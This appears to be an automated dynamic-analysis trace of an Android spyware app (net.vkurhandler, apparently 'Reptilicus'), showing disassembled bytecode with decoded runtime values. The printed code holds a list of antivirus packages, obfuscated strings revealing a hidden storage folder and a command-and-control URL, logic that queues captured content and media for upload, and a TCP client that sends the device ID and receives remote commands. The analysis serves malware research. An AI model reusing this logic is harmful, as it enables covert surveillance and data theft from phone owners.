                    38const/16 v1, 0x9
                    40const-string v2, "com.kms.free"
                    41aput-object v2, v0, v1
                    42const/16 v1, 0xa
                    44const-string v2, "com.antivirus"
                    45aput-object v2, v0, v1
                    46const/16 v1, 0xb
                    48const-string v2, "com.avira.android"
                    49aput-object v2, v0, v1
                    50const/16 v1, 0xc
                    52const-string v2, "com.cmsecurity.lite"
                    53aput-object v2, v0, v1
                    54const/16 v1, 0xd
                    56const-string v2, "com.zrgiu.antivirus"
                    57aput-object v2, v0, v1
                    58const/16 v1, 0xe
                    60const-string v2, "com.baboon_antivirus"
                    61aput-object v2, v0, v1
                    62const/16 v1, 0xf
                    64const-string v2, "com.piriform.ccleaner"
                    65aput-object v2, v0, v1
                    66const/16 v1, 0x10
                    68const-string v2, "com.qihoo.security.lite"
                    69aput-object v2, v0, v1
                    70const/16 v1, 0x11
                    72const-string v2, "com.dianxinos.optimizer.duplay"
                    73aput-object v2, v0, v1
                    74const/16 v1, 0x12
                    76const-string v2, "com.securityantivirusforandroid.uberapps.googleplay"
                    77aput-object v2, v0, v1
                    78const/16 v1, 0x13
                    80const-string v2, "com.avast.android.cleaner"
                    81aput-object v2, v0, v1
                    82const/16 v1, 0x14
                    84const-string v2, "com.iobit.mobilecare"
                    85aput-object v2, v0, v1
                    86const/16 v1, 0x15
                    88const-string v2, "com.antivirus.security.forandroid.scanner"
                    89aput-object v2, v0, v1
                    90const/16 v1, 0x16
                    92const-string v2, "com.cyou.security"
                    93aput-object v2, v0, v1
                    94const/16 v1, 0x17
                    96const-string v2, "com.ijinshan.kbatterydoctor_en"
                    97aput-object v2, v0, v1
                    98const/16 v1, 0x18
                    100const-string v2, "com.trustgo.mobile.security"
                    101aput-object v2, v0, v1
                    102const/16 v1, 0x19
                    104const-string v2, "com.antivirus.tablet"
                    105aput-object v2, v0, v1
                    106const/16 v1, 0x1a
                    108const-string v2, "com.lookout"
                    109aput-object v2, v0, v1
                    110const/16 v1, 0x1b
                    112const-string v2, "com.cleanmaster.boost"
                    113aput-object v2, v0, v1
                    114const/16 v1, 0x1c
                    116const-string v2, "com.wsandroid.suite"
                    117aput-object v2, v0, v1
                    118const/16 v1, 0x1d
                    120const-string v2, "com.gpaddy.free.antivirus"
                    121aput-object v2, v0, v1
                    122const/16 v1, 0x1e
                    124const-string v2, "com.kaspersky"
                    125aput-object v2, v0, v1
                    126const/16 v1, 0x1f
                    128const-string v2, "com.qihoo360.mobilesafe"
                    129aput-object v2, v0, v1
                    130const/16 v1, 0x20
                    132const-string v2, "com.dianxinos.dxbs"
                    133aput-object v2, v0, v1
                    134const/16 v1, 0x21
                    136const-string v2, "com.wsandroid.suite"
                    137aput-object v2, v0, v1
                    138const/16 v1, 0x22
                    140const-string v2, "com.du.master.antivirus.security.android"
                    141aput-object v2, v0, v1
                    142const/16 v1, 0x23
                    144const-string v2, "com.cleanmaster"
                    145aput-object v2, v0, v1
                    146const/16 v1, 0x24
                    148const-string v2, "com.cmcm.lite"
                    149aput-object v2, v0, v1
                    150const/16 v1, 0x25
                    152const-string v2, "com.symantec.mobilesecurity"
                    153aput-object v2, v0, v1
                    154const/16 v1, 0x26
                    156const-string v2, "com.infoz.free.antivirus"
                    157aput-object v2, v0, v1
                    158const/16 v1, 0x27
                    160const-string v2, "com.zoner.android.antivirus"
                    161aput-object v2, v0, v1
                    162const/16 v1, 0x28
                    164const-string v2, "com.comodo.cisme.antivirus"
                    165aput-object v2, v0, v1
                    166const/16 v1, 0x29
                    168const-string v2, "com.ashampoo.droid.optimizer"
                    169aput-object v2, v0, v1
                    170const/16 v1, 0x2a
                    172const-string v2, "booster.cleaner.optimizer"
                    173aput-object v2, v0, v1
                    174const/16 v1, 0x2b
                    176const-string v2, "com.apusapps.tools.booster"
                    177aput-object v2, v0, v1
                    178const/16 v1, 0x2c
                    180const-string v2, "kvd.antispy"
                    181aput-object v2, v0, v1
                    182sput-object v0, Lnet/vkurhandler/de;->a:[Ljava/lang/String;
                    183new-instance v0, Ljava/lang/String;
                    185const-string v1, "LnN5c3RlbV9hbmRyb2lkLy5kYXRhLw=="
                    187invoke-static {v1, v3}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    188move-result-object v1
                    190invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1273550
                      • This:
                        • .system_android/.data/
                      • p0: [B@c160202
                      • p0: .system_android/.data/
                      • p0: 2E73797374656D5F616E64726F69642F2E646174612F
                      • Return:
                        • .system_android/.data/
                    191sput-object v0, Lnet/vkurhandler/de;->b:Ljava/lang/String;
                    192new-instance v0, Ljava/lang/String;
                    194const-string v1, "cmVwdGlsaWN1cw=="
                    196invoke-static {v1, v3}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    197move-result-object v1
                    199invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1273615
                      • This:
                        • reptilicus
                      • p0: [B@f5c1d50
                      • p0: reptilicus
                      • p0: 72657074696C69637573
                      • Return:
                        • reptilicus
                    200sput-object v0, Lnet/vkurhandler/de;->c:Ljava/lang/String;
                    201new-instance v0, Ljava/lang/String;
                    203const-string v1, "reptilicus/data/"
                    205invoke-direct {v0, v1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                    • Time: 1273629
                      • This:
                        • reptilicus/data/
                      • p0: reptilicus/data/
                      • Return:
                        • reptilicus/data/
                    206sput-object v0, Lnet/vkurhandler/de;->d:Ljava/lang/String;
                    207new-instance v0, Ljava/lang/String;
                    209const-string v1, "reptilicus"
                    211invoke-direct {v0, v1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                    • Time: 1273644
                      • This:
                        • reptilicus
                      • p0: reptilicus
                      • Return:
                        • reptilicus
                    212sput-object v0, Lnet/vkurhandler/de;->e:Ljava/lang/String;
                    213new-instance v0, Ljava/lang/String;
                    215const-string v1, "cmVwdGlsaWN1cw=="
                    217invoke-static {v1, v3}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    218move-result-object v1
                    220invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1273671
                      • This:
                        • reptilicus
                      • p0: [B@16dcf5a
                      • p0: reptilicus
                      • p0: 72657074696C69637573
                      • Return:
                        • reptilicus
                    221sput-object v0, Lnet/vkurhandler/de;->f:Ljava/lang/String;
                    222new-instance v0, Ljava/lang/String;
                    224const-string v1, "aHR0cDovL3JlcHRpbGljdXMubmV0L2JuL2cucGhwPw=="
                    226invoke-static {v1, v3}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    227move-result-object v1
                    229invoke-direct {v0, v1}, Ljava/lang/String;-><init>([B)V
                    • Time: 1273695
                      • This:
                        • http://reptilicus.net/bn/g.php?
                      • p0: [B@3964668
                      • p0: http://reptilicus.net/bn/g.php?
                      • p0: 687474703A2F2F72657074696C696375732E6E65742F626E2F672E7068703F
                      • Return:
                        • http://reptilicus.net/bn/g.php?
                    230sput-object v0, Lnet/vkurhandler/de;->g:Ljava/lang/String;
                    231return-void
                    APIs
                    • net.vkurhandler.MyApp.a
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • net.vkurhandler.MyApp.v
                    • org.json.JSONObject.put
                    • android.content.Context.getPackageName
                    • org.json.JSONObject.put
                    • android.content.Context.getPackageName
                    • org.json.JSONObject.put
                    • org.json.JSONObject.put
                    • java.lang.String.<init>
                    • org.json.JSONObject.<init>
                    • org.json.JSONObject.getJSONObject
                    • org.json.JSONObject.getBoolean
                    • org.json.JSONObject.getString
                    • org.json.JSONObject.getString
                    • java.lang.StringBuilder.<init>
                    • android.os.Environment.getExternalStorageDirectory
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.io.File.separator:Ljava/lang/String
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.io.File.<init>
                    • java.io.File.exists
                    • java.io.FileOutputStream.<init>
                    • java.lang.String.getBytes
                    • java.io.FileOutputStream.write
                    • java.io.FileOutputStream.flush
                    • java.io.FileOutputStream.close
                    • java.io.File.exists
                    • net.vkurhandler.MyApp.c
                    Strings
                    • module
                    • preference
                    • action
                    • load
                    • device_id
                    • app_name
                    • net.vkurhandler
                    • pkg_name
                    • domain_id
                    • {"response":{"error":"incorrect_device_id","success":false}}
                    • response
                    • success
                    • RemotePreference
                    • response error:
                    • error
                    • incorrect_device_id
                    • data
                    • .system_android/.data/.system_temp
                    • pref.cfg
                    Position Instruction Meta Information
                    0const/4 v5, 0x0
                    1try_start_1:
                    2iget-object v0, p0, Lnet/vkurhandler/dy;->a:Landroid/content/Context;
                    4invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    5move-result-object v0
                    6new-instance v1, Lorg/json/JSONObject;
                    8invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                    • Time: 1274025
                      • Return:
                        • {}
                    10const-string v2, "module"
                    12const-string v3, "preference"
                    14invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    16const-string v2, "action"
                    18const-string v3, "load"
                    20invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    22const-string v2, "device_id"
                    24invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    25move-result-object v3
                    27invoke-virtual {v3}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    28move-result-object v3
                    30invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    32const-string v2, "app_name"
                    34iget-object v3, p0, Lnet/vkurhandler/dy;->a:Landroid/content/Context;
                    36iget-object v4, p0, Lnet/vkurhandler/dy;->a:Landroid/content/Context;
                    38invoke-virtual {v4}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    • Time: 1274255
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler
                    39move-result-object v4
                    41invoke-static {v3, v4}, Lnet/vkurhandler/gn;->b(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                    42move-result-object v3
                    44invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    46const-string v2, "pkg_name"
                    48iget-object v3, p0, Lnet/vkurhandler/dy;->a:Landroid/content/Context;
                    50invoke-virtual {v3}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                    • Time: 1274310
                      • This:
                        • net.vkurhandler.MyApp@133c58d
                      • Return:
                        • net.vkurhandler
                    51move-result-object v3
                    53invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                    55const-string v2, "domain_id"
                    56const/4 v3, 0x0
                    58invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                    59new-instance v2, Lnet/vkurhandler/gb;
                    61invoke-direct {v2}, Lnet/vkurhandler/gb;-><init>()V
                    63iget-object v3, p0, Lnet/vkurhandler/dy;->a:Landroid/content/Context;
                    65invoke-static {v3, v1, v2}, Lnet/vkurhandler/ea;->b(Landroid/content/Context;Lorg/json/JSONObject;Lcom/a/a/a/h;)V
                    66new-instance v1, Ljava/lang/String;
                    68invoke-virtual {v2}, Lnet/vkurhandler/gb;->i()[B
                    69move-result-object v2
                    71invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    • Time: 1276002
                      • This:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: [B@5a29a73
                      • p0: {"response":{"error":"incorrect_device_id","success":false}}
                      • p0: 7B22726573706F6E7365223A7B226572726F72223A22696E636F72726563745F6465766963655F6964222C2273756363657373223A66616C73657D7D
                      • Return:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                    72new-instance v2, Lorg/json/JSONObject;
                    74invoke-direct {v2, v1}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                    • Time: 1276046
                      • p0: {"response":{"error":"incorrect_device_id","success":false}}
                      • Return:
                        • {"response":{"error":"incorrect_device_id","success":false}}
                    76const-string v1, "response"
                    78invoke-virtual {v2, v1}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                    79move-result-object v1
                    81const-string v2, "success"
                    83invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                    84move-result v2
                    85if-nez v2, :cond_8c
                    87invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    88move-result v0
                    89if-eqz v0, :cond_8b
                    91const-string v0, "RemotePreference"
                    92const/4 v2, 0x2
                    93new-array v2, v2, [Ljava/lang/String;
                    94const/4 v3, 0x0
                    96const-string v4, "response error:"
                    97aput-object v4, v2, v3
                    98const/4 v3, 0x1
                    100const-string v4, "error"
                    102invoke-virtual {v1, v4}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    • Time: 1276105
                      • This:
                        • {"error":"incorrect_device_id","success":false}
                      • p0: error
                      • Return:
                        • incorrect_device_id
                    103move-result-object v1
                    104aput-object v1, v2, v3
                    106invoke-static {v0, v2}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    107cond_8b: return-void
                    108cond_8c:
                    109const-string v2, "data"
                    111invoke-virtual {v1, v2}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                    112move-result-object v1
                    113new-instance v2, Ljava/io/File;
                    114new-instance v3, Ljava/lang/StringBuilder;
                    116invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                    118invoke-static {}, Landroid/os/Environment;->getExternalStorageDirectory()Ljava/io/File;
                    119move-result-object v4
                    121invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                    122move-result-object v3
                    124sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    126invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    127move-result-object v3
                    129const-string v4, ".system_android/.data/.system_temp"
                    131invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    132move-result-object v3
                    134sget-object v4, Ljava/io/File;->separator:Ljava/lang/String;
                    136invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    137move-result-object v3
                    139const-string v4, "pref.cfg"
                    141invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    142move-result-object v3
                    144invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    145move-result-object v3
                    147invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                    149invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    150move-result v3
                    151if-nez v3, :cond_e9
                    152new-instance v3, Ljava/io/FileOutputStream;
                    154invoke-direct {v3, v2}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V
                    156invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
                    157move-result-object v1
                    159invoke-virtual {v3, v1}, Ljava/io/FileOutputStream;->write([B)V
                    161invoke-virtual {v3}, Ljava/io/FileOutputStream;->flush()V
                    163invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V
                    165invoke-virtual {v2}, Ljava/io/File;->exists()Z
                    166move-result v1
                    167if-eqz v1, :cond_e9
                    169iget-object v1, p0, Lnet/vkurhandler/dy;->a:Landroid/content/Context;
                    171invoke-static {v1}, Lnet/vkurhandler/gn;->g(Landroid/content/Context;)Z
                    172move-result v1
                    173if-eqz v1, :cond_e9
                    175invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->c()V
                    176cond_e9:
                    177invoke-static {v5}, Lnet/vkurhandler/dx;->a(Z)V
                    178goto/16 :goto_8b
                    179catch_ed: move-exception v0
                    181const-string v1, "RemotePreference"
                    183invoke-static {v1, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    184goto/16 :goto_e9
                    Cross References
                    APIs
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • net.vkurhandler.MyApp.a
                    • java.lang.StringBuilder.<init>
                    • android.content.Intent.getBooleanExtra
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • android.content.Intent.getBooleanExtra
                    • java.lang.StringBuilder.append
                    • android.content.Intent.getBooleanExtra
                    • java.lang.StringBuilder.append
                    • android.content.Intent.getBooleanExtra
                    • java.lang.StringBuilder.append
                    • android.content.Intent.getBooleanExtra
                    • android.content.Intent.getBooleanExtra
                    • android.content.Intent.getIntExtra
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • net.vkurhandler.MyApp.t
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.DispatchService.getApplicationContext
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    Strings
                    • dispatch_schedule
                    • dispatch_schedule_send_media
                    • dispatch_schedule_send_content
                    • dispatch_schedule_send_command
                    • select * from history order by id asc
                    • select * from history where (data_type=1 or data_type=2) order by id asc
                    • select * from history where (data_type=1 or data_type=3) order by id asc
                    • select * from history where (data_type=2 or data_type=3) order by id asc
                    • dispatch_content
                    • select * from history where data_type=1 order by id asc
                    • dispatch_media
                    • select * from history where data_type=2 order by id asc
                    • dispatch_command
                    • select * from history where data_type=3 order by id asc
                    • dispatch_send_by_id
                    • dispatch_delete_by_id
                    • dispatch_id
                    • select * from history where id=
                    • send_media_only_wifi
                    Position Instruction Meta Information
                    0const/4 v5, 0x0
                    2invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1277599
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    3move-result-object v0
                    5invoke-static {v0}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    6move-result-object v0
                    7new-instance v1, Ljava/lang/StringBuilder;
                    9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                    10if-eqz p1, :cond_6a
                    12const-string v2, "dispatch_schedule"
                    14invoke-virtual {p1, v2, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    15move-result v2
                    16if-eqz v2, :cond_6a
                    18invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    19move-result-object v2
                    21const-string v3, "dispatch_schedule_send_media"
                    23invoke-interface {v2, v3, v5}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    24move-result v2
                    26invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    27move-result-object v3
                    29const-string v4, "dispatch_schedule_send_content"
                    31invoke-interface {v3, v4, v5}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    32move-result v3
                    34invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    35move-result-object v0
                    37const-string v4, "dispatch_schedule_send_command"
                    39invoke-interface {v0, v4, v5}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    40move-result v0
                    41if-eqz v2, :cond_46
                    42if-eqz v3, :cond_46
                    43if-eqz v0, :cond_46
                    45const-string v0, "select * from history order by id asc"
                    47invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    48goto_41:
                    49invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    50move-result-object v0
                    51return-object v0
                    52cond_46: if-eqz v2, :cond_52
                    53if-eqz v3, :cond_52
                    54if-nez v0, :cond_52
                    56const-string v0, "select * from history where (data_type=1 or data_type=2) order by id asc"
                    58invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    59goto/16 :goto_41
                    60cond_52: if-nez v2, :cond_5e
                    61if-eqz v3, :cond_5e
                    62if-eqz v0, :cond_5e
                    64const-string v0, "select * from history where (data_type=1 or data_type=3) order by id asc"
                    66invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    67goto/16 :goto_41
                    68cond_5e: if-eqz v2, :cond_41
                    69if-nez v3, :cond_41
                    70if-eqz v0, :cond_41
                    72const-string v0, "select * from history where (data_type=2 or data_type=3) order by id asc"
                    74invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    75goto/16 :goto_41
                    76cond_6a: if-eqz p1, :cond_7a
                    78const-string v2, "dispatch_content"
                    80invoke-virtual {p1, v2, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    81move-result v2
                    82if-eqz v2, :cond_7a
                    84const-string v0, "select * from history where data_type=1 order by id asc"
                    86invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    87goto/16 :goto_41
                    88cond_7a: if-eqz p1, :cond_8a
                    90const-string v2, "dispatch_media"
                    92invoke-virtual {p1, v2, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    93move-result v2
                    94if-eqz v2, :cond_8a
                    96const-string v0, "select * from history where data_type=2 order by id asc"
                    98invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    99goto/16 :goto_41
                    100cond_8a: if-eqz p1, :cond_9a
                    102const-string v2, "dispatch_command"
                    104invoke-virtual {p1, v2, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    105move-result v2
                    106if-eqz v2, :cond_9a
                    108const-string v0, "select * from history where data_type=3 order by id asc"
                    110invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    111goto/16 :goto_41
                    112cond_9a: if-eqz p1, :cond_bc
                    114const-string v2, "dispatch_send_by_id"
                    116invoke-virtual {p1, v2, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    117move-result v2
                    118if-nez v2, :cond_ac
                    120const-string v2, "dispatch_delete_by_id"
                    122invoke-virtual {p1, v2, v5}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z
                    123move-result v2
                    124if-eqz v2, :cond_bc
                    125cond_ac:
                    126const-string v0, "dispatch_id"
                    128invoke-virtual {p1, v0, v5}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                    129move-result v0
                    131const-string v2, "select * from history where id="
                    133invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    134move-result-object v2
                    136invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                    137goto/16 :goto_41
                    138cond_bc:
                    139invoke-virtual {v0}, Lnet/vkurhandler/MyApp;->t()Landroid/content/SharedPreferences;
                    140move-result-object v0
                    142const-string v2, "send_media_only_wifi"
                    144invoke-interface {v0, v2, v5}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    145move-result v0
                    147invoke-virtual {p0}, Lnet/vkurhandler/DispatchService;->getApplicationContext()Landroid/content/Context;
                    • Time: 1277607
                      • This:
                        • net.vkurhandler.DispatchService@eda8525
                      • Return:
                        • net.vkurhandler.MyApp@133c58d
                    148move-result-object v2
                    149const/4 v3, 0x1
                    151invoke-static {v2, v3}, Lnet/vkurhandler/gn;->a(Landroid/content/Context;I)Z
                    152move-result v2
                    153if-eqz v0, :cond_e1
                    154if-eqz v2, :cond_da
                    156const-string v0, "select * from history order by id asc"
                    158invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    159goto/16 :goto_41
                    160cond_da:
                    161const-string v0, "select * from history where (data_type=1 or data_type=3) order by id asc"
                    163invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    164goto/16 :goto_41
                    165cond_e1:
                    166const-string v0, "select * from history order by id asc"
                    168invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    169goto/16 :goto_41
                    APIs
                    • net.vkurhandler.MyApp.a
                    • net.vkurhandler.MyApp.v
                    • java.net.Socket.<init>
                    • java.net.InetSocketAddress.<init>
                    • java.net.Socket.connect
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.append
                    • java.net.Socket.getOutputStream
                    • java.lang.StringBuilder.toString
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.net.Socket.getOutputStream
                    • java.io.OutputStream.flush
                    • java.net.Socket.getInputStream
                    • java.io.InputStreamReader.<init>
                    • java.io.BufferedReader.<init>
                    • java.lang.String.<init>
                    • java.io.BufferedReader.readLine
                    • java.lang.String.equals
                    • java.net.Socket.getOutputStream
                    • java.lang.String.getBytes
                    • java.io.OutputStream.write
                    • java.net.Socket.getOutputStream
                    • java.io.OutputStream.flush
                    • java.lang.Exception.getMessage
                    • java.lang.String.length
                    • java.lang.String.split
                    • java.lang.StringBuilder.<init>
                    • java.lang.StringBuilder.append
                    • java.lang.StringBuilder.toString
                    • java.lang.String.startsWith
                    • java.lang.String.replace
                    • java.lang.String.<init>
                    Strings
                    • TcpConnector
                    • create socket and try connect
                    • send auth package
                    • device_id=
                    • \n
                    • try read inputstream
                    • sleep...
                    • p
                    • p\n
                    • command:
                    • base64:
                    Position Instruction Meta Information
                    0const/4 v10, 0x3
                    1const-wide/16 v8, 0x1388
                    2goto_3:
                    3iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    4iget-boolean v0, v0, Lnet/vkurhandler/gj;->a:Z
                    5if-nez v0, :cond_a
                    6return-void
                    7cond_a:
                    8iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    10invoke-static {v0}, Lnet/vkurhandler/gj;->a(Lnet/vkurhandler/gj;)Ljava/lang/String;
                    11move-result-object v0
                    13invoke-static {v0}, Lnet/vkurhandler/gn;->f(Ljava/lang/String;)Z
                    14move-result v0
                    15if-nez v0, :cond_2d
                    17iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    19iget-object v1, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    21invoke-static {v1}, Lnet/vkurhandler/gj;->b(Lnet/vkurhandler/gj;)Landroid/content/Context;
                    22move-result-object v1
                    24invoke-static {v1}, Lnet/vkurhandler/MyApp;->a(Landroid/content/Context;)Lnet/vkurhandler/MyApp;
                    25move-result-object v1
                    27invoke-virtual {v1}, Lnet/vkurhandler/MyApp;->v()Lnet/vkurhandler/Mobile;
                    28move-result-object v1
                    30invoke-virtual {v1}, Lnet/vkurhandler/Mobile;->h()Ljava/lang/String;
                    31move-result-object v1
                    33invoke-static {v0, v1}, Lnet/vkurhandler/gj;->a(Lnet/vkurhandler/gj;Ljava/lang/String;)V
                    34cond_2d:
                    35iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    37invoke-static {v0}, Lnet/vkurhandler/gj;->a(Lnet/vkurhandler/gj;)Ljava/lang/String;
                    38move-result-object v0
                    40invoke-static {v0}, Lnet/vkurhandler/gn;->f(Ljava/lang/String;)Z
                    41move-result v0
                    42if-eqz v0, :cond_ea
                    44iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    46invoke-static {v0}, Lnet/vkurhandler/gj;->b(Lnet/vkurhandler/gj;)Landroid/content/Context;
                    47move-result-object v0
                    49invoke-static {v0}, Lnet/vkurhandler/gn;->i(Landroid/content/Context;)Z
                    50move-result v0
                    51if-eqz v0, :cond_ea
                    53invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    54move-result v0
                    55if-eqz v0, :cond_52
                    57const-string v0, "TcpConnector"
                    59const-string v1, "create socket and try connect"
                    61invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    62cond_52:
                    63iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    64new-instance v1, Ljava/net/Socket;
                    66invoke-direct {v1}, Ljava/net/Socket;-><init>()V
                    68invoke-static {v0, v1}, Lnet/vkurhandler/gj;->a(Lnet/vkurhandler/gj;Ljava/net/Socket;)V
